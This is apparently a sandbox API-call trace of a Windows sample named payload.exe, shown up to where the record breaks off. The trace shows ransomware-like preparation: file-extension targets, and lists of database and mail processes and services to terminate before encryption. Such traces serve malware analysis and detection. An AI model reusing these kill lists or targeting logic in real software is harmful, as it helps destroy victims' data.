# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 23.07.2020 23:27:30.930 Process: id = "1" image_name = "payload.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload.exe" page_root = "0x41e7f000" os_pid = "0x57c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x780 [0037.878] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0037.879] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0037.879] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleW") returned 0x76d434b0 [0037.879] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0037.879] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0037.879] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0037.879] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0037.879] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0037.879] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileAttributesW") returned 0x76d41b18 [0037.879] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameW") returned 0x76d4dd0e [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="GetComputerNameA") returned 0x76d5b6e0 [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexW") returned 0x76d4424c [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenW") returned 0x76d41700 [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="lstrlenA") returned 0x76d45a4b [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="GetTickCount") returned 0x76d4110c [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteFileW") returned 0x76d489b3 [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="WideCharToMultiByte") returned 0x76d4170d [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76d41916 [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0037.880] GetProcAddress (hModule=0x76d30000, lpProcName="OpenMutexW") returned 0x76d45151 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpiW") returned 0x76d5d5cd [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcmpiA") returned 0x76d43e8e [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="ReleaseMutex") returned 0x76d4111e [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="ExpandEnvironmentStringsW") returned 0x76d44173 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceCounter") returned 0x76d41725 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="QueryPerformanceFrequency") returned 0x76d441f0 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0037.881] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="HeapReAlloc") returned 0x77c81f6e [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringW") returned 0x76d43bca [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="CompareStringA") returned 0x76d43c5a [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemTime") returned 0x76d45a96 [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="SystemTimeToFileTime") returned 0x76d45a7e [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0037.882] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0037.883] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0037.883] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77710000 [0043.001] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0043.001] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExW") returned 0x777246ad [0043.001] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0043.001] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0043.001] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0043.001] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0043.001] GetProcAddress (hModule=0x77710000, lpProcName="OpenSCManagerW") returned 0x7771ca64 [0043.002] GetProcAddress (hModule=0x77710000, lpProcName="OpenServiceW") returned 0x7771ca4c [0043.002] GetProcAddress (hModule=0x77710000, lpProcName="CloseServiceHandle") returned 0x7772369c [0043.002] GetProcAddress (hModule=0x77710000, lpProcName="ControlService") returned 0x77737144 [0043.002] GetProcAddress (hModule=0x77710000, lpProcName="QueryServiceStatus") returned 0x77722a86 [0043.002] GetProcAddress (hModule=0x77710000, lpProcName="EnumDependentServicesW") returned 0x77711e3a [0043.002] GetProcAddress (hModule=0x77710000, lpProcName="EnumServicesStatusExW") returned 0x7771b466 [0043.002] LoadLibraryA (lpLibFileName="user32.dll") returned 0x77130000 [0048.369] GetProcAddress (hModule=0x77130000, lpProcName="SystemParametersInfoW") returned 0x771490d3 [0048.369] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x759d0000 [0052.426] GetProcAddress (hModule=0x759d0000, lpProcName="ShellExecuteExW") returned 0x759f1e46 [0052.427] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77c40000 [0052.427] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77c5fda0 [0052.427] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x75660000 [0052.744] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0052.744] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0052.744] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0052.744] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77230000 [0053.227] GetProcAddress (hModule=0x77230000, lpProcName="WSAStartup") returned 0x77233ab2 [0053.227] GetProcAddress (hModule=0x77230000, lpProcName="socket") returned 0x77233eb8 [0053.227] GetProcAddress (hModule=0x77230000, lpProcName="send") returned 0x77236f01 [0053.227] GetProcAddress (hModule=0x77230000, lpProcName="recv") returned 0x77236b0e [0053.227] GetProcAddress (hModule=0x77230000, lpProcName="connect") returned 0x77236bdd [0053.227] GetProcAddress (hModule=0x77230000, lpProcName="closesocket") returned 0x77233918 [0053.227] GetProcAddress (hModule=0x77230000, lpProcName="gethostbyname") returned 0x77247673 [0053.228] GetProcAddress (hModule=0x77230000, lpProcName="inet_addr") returned 0x7723311b [0053.228] GetProcAddress (hModule=0x77230000, lpProcName="ntohl") returned 0x77232d57 [0053.228] GetProcAddress (hModule=0x77230000, lpProcName="htonl") returned 0x77232d57 [0053.228] GetProcAddress (hModule=0x77230000, lpProcName="htons") returned 0x77232d8b [0053.228] GetProcessHeap () returned 0x5d0000 [0053.228] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x5e40d0 [0053.228] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=17350391036) returned 1 [0053.228] GetTickCount () returned 0x114537d [0053.228] GetCurrentProcessId () returned 0x57c [0053.229] GetTickCount () returned 0x114537d [0053.229] GetTickCount () returned 0x114537d [0053.229] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x5e40f8 [0053.229] GetVersion () returned 0x1db10106 [0053.229] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7) returned 0x5d36b8 [0053.229] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x5e0bd8 [0053.229] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e0bd8, Size=0x20) returned 0x5e4148 [0053.229] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4148, Size=0x40) returned 0x5e46b8 [0053.229] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x5e4908 [0053.230] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_JNA9TRA") returned 0x0 [0053.230] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_JNA9TRA") returned 0x84 [0053.230] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d36b8 | out: hHeap=0x5d0000) returned 1 [0053.230] lstrlenW (lpString="Global\\syncronize_") returned 18 [0053.230] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e46b8 | out: hHeap=0x5d0000) returned 1 [0053.230] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7) returned 0x5d36b8 [0053.230] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x5e0bd8 [0053.230] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e0bd8, Size=0x20) returned 0x5e4148 [0053.230] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4148, Size=0x40) returned 0x5e46b8 [0053.230] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x5f4910 [0053.231] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_JNA9TRU") returned 0x0 [0053.231] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_JNA9TRU") returned 0x88 [0053.231] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5d36b8 | out: hHeap=0x5d0000) returned 1 [0053.231] lstrlenW (lpString="Global\\syncronize_") returned 18 [0053.231] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e46b8 | out: hHeap=0x5d0000) returned 1 [0053.231] GetVersion () returned 0x1db10106 [0053.231] GetCurrentProcess () returned 0xffffffff [0053.231] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0053.231] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0053.231] CloseHandle (hObject=0x8c) returned 1 [0053.231] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0053.231] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0053.231] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5d36b8 [0053.231] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x5e0bd8 [0053.231] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e0bd8, Size=0x20) returned 0x5e4148 [0053.231] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4148, Size=0x40) returned 0x5e46b8 [0053.231] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e46b8, Size=0x80) returned 0x5e46b8 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e46b8, Size=0x100) returned 0x5e46b8 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x34) returned 0x5e47c0 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e07c8 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e07d8 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e07e8 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e0bd8 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4800 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e0bf0 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4800, Size=0x8) returned 0x5e4800 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e0c08 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4800, Size=0x10) returned 0x5e4800 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e0c20 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e0c38 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4800, Size=0x20) returned 0x5e4800 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e0c50 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e0c68 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e07c8, Size=0x8) returned 0x5e07c8 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e07d8, Size=0x8) returned 0x5e07d8 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4828 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x5e0c80 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4838 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x5e0c98 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4838, Size=0x8) returned 0x5e4838 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604930 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4838, Size=0x10) returned 0x5e4838 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604948 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4850 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4838, Size=0x20) returned 0x5e4860 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e07c8, Size=0x10) returned 0x5e4838 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e07d8, Size=0x10) returned 0x5e4888 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e07c8 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604960 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e07d8 [0053.232] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x604978 [0053.232] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e07d8, Size=0x8) returned 0x5e07d8 [0053.233] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e48a0 [0053.233] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604990 [0053.233] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e48b0 [0053.233] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6049a8 [0053.233] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e48b0, Size=0x8) returned 0x5e48b0 [0053.233] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4838, Size=0x20) returned 0x604d18 [0053.233] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4888, Size=0x20) returned 0x604d40 [0053.233] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x5e4888 [0053.233] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6049c0 [0053.233] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4838 [0053.233] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6049d8 [0053.233] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4838, Size=0x8) returned 0x5e4838 [0053.233] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x604d68 [0053.233] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x604d88 [0053.233] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0053.233] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e46b8 | out: hHeap=0x5d0000) returned 1 [0053.233] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6049f0 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6049f0, Size=0x20) returned 0x5e4350 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4350, Size=0x40) returned 0x5e4710 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4710, Size=0x80) returned 0x5e4710 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4710, Size=0x100) returned 0x605060 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6049f0 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6049f0, Size=0x20) returned 0x5e4350 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4350, Size=0x40) returned 0x5e4710 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4710, Size=0x80) returned 0x5e4710 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4710, Size=0x100) returned 0x605168 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6049f0 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4710 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x604a08 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4710, Size=0x8) returned 0x5e4710 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5e4720 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4710, Size=0x10) returned 0x5e4740 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x5e4758 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x5e4350 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4740, Size=0x20) returned 0x5e4778 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x5e4378 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16) returned 0x5e47a0 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x5e43a0 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x604a20 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x5e4710 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x605270 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4710, Size=0x8) returned 0x5e4710 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3c) returned 0x6052b8 [0053.246] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4710, Size=0x10) returned 0x5e4740 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x605300 [0053.246] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x605320 [0053.247] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e4740, Size=0x20) returned 0x605340 [0053.247] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x605368 [0053.247] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0053.247] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605060 | out: hHeap=0x5d0000) returned 1 [0053.247] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0053.247] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x605168 | out: hHeap=0x5d0000) returned 1 [0053.247] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6058e8 [0053.252] EnumServicesStatusExW (in: hSCManager=0x6058e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0053.253] GetLastError () returned 0xea [0053.253] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11e4) returned 0x6091e8 [0053.253] EnumServicesStatusExW (in: hSCManager=0x6058e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6091e8, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6091e8, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0053.255] CloseServiceHandle (hSCObject=0x6058e8) returned 1 [0053.259] lstrlenW (lpString="Appinfo") returned 7 [0053.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0053.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0053.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0053.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0053.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0053.259] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0053.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.259] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0053.259] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0053.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0053.259] lstrlenW (lpString="AudioSrv") returned 8 [0053.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0053.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0053.259] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0053.259] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0053.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0053.259] lstrlenW (lpString="BFE") returned 3 [0053.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0053.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0053.259] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0053.259] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0053.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0053.259] lstrlenW (lpString="CryptSvc") returned 8 [0053.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0053.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0053.260] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0053.260] lstrcmpiW 